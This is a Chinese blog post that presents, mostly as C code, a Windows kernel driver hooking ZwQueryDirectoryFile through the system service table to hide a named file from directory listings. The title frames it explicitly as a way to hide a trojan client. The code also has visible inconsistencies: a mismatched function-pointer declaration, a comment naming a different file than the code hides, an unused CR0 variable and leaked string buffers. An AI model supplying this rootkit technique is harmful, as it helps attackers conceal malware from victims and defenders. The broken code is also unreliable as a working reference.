驱动拦截NT的API实现隐藏木马客户端

网友投稿 250 2022-10-23


驱动拦截NT的API实现隐藏木马客户端

驱动拦截NT的API实现隐藏木马客户端

目前NT下有很多种隐藏文件和目录的方法,其中最简单的一种是给文件和文件夹加上系统属性和隐藏属性,操作系统就会不在显示了,而且查找也找不到了,但是这种方法一点都不彻底,没有可用性!下面我们来介绍用NT驱动程序来拦截NTAPI来实现彻底隐藏文件和目录的目的。NT下有一个文件NTDLL.DLL,大部分NTAPI都是在这个库中封装的。其中实现查找文件和目录的API接口是ZwQueryDirectoryFile,所以我们只要拦截这个API的话,文件和目录就可以完全隐藏了!下面来一步不实现(准备工作:到NTDDK中找一个WDM驱动程序模型,也就是最简单的驱动程序了):     1.定义FILE_INFORMATION_CLASS的第3号结构:_FILE_BOTH_DIR_INFORMATION,这个结构是ZwQueryDirectoryFile必须参数。typedef struct _FILE_BOTH_DIR_INFORMATION {    ULONG           NextEntryOffset;    ULONG           FileIndex;    LARGE_INTEGER   CreationTime;    LARGE_INTEGER   LastAccessTime;    LARGE_INTEGER   LastWriteTime;    LARGE_INTEGER   ChangeTime;    LARGE_INTEGER   EndOfFile;    LARGE_INTEGER   AllocationSize;    ULONG           FileAttributes;    ULONG           FileNameLength;    ULONG           EaSize;    CCHAR           ShortNameLength;    WCHAR           ShortName[12];    WCHAR           FileName[1];} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;2.先申明ZwQueryDirectoryFile,然后定义ZwQueryDirectoryFile的原型:extern NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(             IN HANDLE hFile,             IN HANDLE hEvent OPTIONAL,             IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,             IN PVOID IoApcContext OPTIONAL,             OUT PIO_STATUS_BLOCK pIoStatusBlock,             OUT PVOID FileInformationBuffer,             IN ULONG FileInformationBufferLength,             IN FILE_INFORMATION_CLASS FileInfoClass,             IN BOOLEAN bReturnOnlyOneEntry,             IN PUNICODE_STRING PathMask OPTIONAL,             IN BOOLEAN bRestartQuery);//定义ZwQueryDirectoryFile的原型typedef NTSTATUS (*REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile,            IN HANDLE hEvent OPTIONAL,            IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,            IN PVOID IoApcContext OPTIONAL,            OUT PIO_STATUS_BLOCK pIoStatusBlock,            OUT PVOID FileInformationBuffer,            IN ULONG FileInformationBufferLength,            IN FILE_INFORMATION_CLASS FileInfoClass,            IN BOOLEAN bReturnOnlyOneEntry,            IN PUNICODE_STRING PathMask OPTIONAL,            IN BOOLEAN bRestartQuery);//定义一个原函数指针REALZWQUERYSYSTEMINFORMATION RealZwQuerySystemInformation;3.定义替换API函数的原型:NTSTATUS HookZwQueryDirectoryFile(           IN HANDLE hFile,          IN HANDLE hEvent OPTIONAL,          IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,          IN PVOID IoApcContext OPTIONAL,          OUT PIO_STATUS_BLOCK pIoStatusBlock,          OUT PVOID FileInformationBuffer,          IN ULONG FileInformationBufferLength,          IN FILE_INFORMATION_CLASS FileInfoClass,          IN BOOLEAN bReturnOnlyOneEntry,          IN PUNICODE_STRING PathMask OPTIONAL,          IN BOOLEAN bRestartQuery);4.在DriverEntry(驱动入口)函数中加入如下申明://保存真正的ZwQueryDirectoryFile函数地址RealZwQueryDirectoryFile=(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));//把自定义的替换函数指针指向真正的ZwQueryDirectoryFile函数(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=HookZwQueryDirectoryFile;5.在DriverUnload(驱动卸载函数)函数中加入恢复代码://恢复原来的函数指针(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=RealZwQueryDirectoryFile;6.现在准备工作做好了,函数指针都已经设置转向了,剩下的是实现这个我们自定义的替换函数HookZwQueryDirectoryFile,代码如下:NTSTATUS HookZwQueryDirectoryFile(    IN HANDLE hFile,    IN HANDLE hEvent OPTIONAL,    IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,    IN PVOID IoApcContext OPTIONAL,    OUT PIO_STATUS_BLOCK pIoStatusBlock,    OUT PVOID FileInformationBuffer,    IN ULONG FileInformationBufferLength,    IN FILE_INFORMATION_CLASS FileInfoClass,    IN BOOLEAN bReturnOnlyOneEntry,    IN PUNICODE_STRING PathMask OPTIONAL,    IN BOOLEAN bRestartQuery){NTSTATUS rc;ULONG CR0VALUE;ANSI_STRING ansiFileName,ansiDirName,HideDirFile;UNICODE_STRING uniFileName;//初始化要过虑的文件名这里是debug.exeRtlInitAnsiString(&HideDirFile,"DBGVIEW.EXE"); // 执行真正的ZwQueryDirectoryFile函数rc = ((REALZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))(  hFile,   hEvent,  IoApcRoutine,  IoApcContext,  pIoStatusBlock,  FileInformationBuffer,  FileInformationBufferLength,  FileInfoClass,  bReturnOnlyOneEntry,  PathMask,  bRestartQuery);   /*如果执行成功(而且FILE_INFORMATION_CLASS的值为FileBothDirectoryInformation,我们就进行处理,过滤*/    if(NT_SUCCESS(rc)&& (FileInfoClass == FileBothDirectoryInformation)){  PFILE_BOTH_DIR_INFORMATION pFileInfo;  PFILE_BOTH_DIR_INFORMATION pLastFileInfo;  BOOL bLastOne;  //把执行结果赋给pFileInfo   pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;   pLastFileInfo = NULL;  //循环检查  do  {   bLastOne = !( pFileInfo->NextEntryOffset );   RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);   RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);   RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);   RtlUpperString(&ansiFileName,&ansiDirName);   //打印结果,用debugview可以查看打印结果   DbgPrint("ansiFileName :%s/n",ansiFileName.Buffer);   DbgPrint("HideDirFile :%s/n",HideDirFile.Buffer);      // 开始进行比较,如果找到了就隐藏这个文件或者目录   if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)   {    DbgPrint("This is HideDirFile!/n");    if(bLastOne)     {     if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer )     {      rc = 0x80000006; //隐藏文件或者目录;     }     else     {      pLastFileInfo->NextEntryOffset = 0;     }     break;    }     else //指针往后移动    {     int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer;     int iLeft = (DWORD)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset;     RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );     continue;    }   }   pLastFileInfo = pFileInfo;   pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);     }while(!bLastOne);  RtlFreeAnsiString(&ansiDirName);   RtlFreeAnsiString(&ansiFileName);}return(rc);}


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:数据中心火灾频发,别让你的数据被“劫”走
下一篇:浅谈Java数据结构之稀疏数组知识总结
相关文章

 发表评论

暂时没有评论,来抢沙发吧~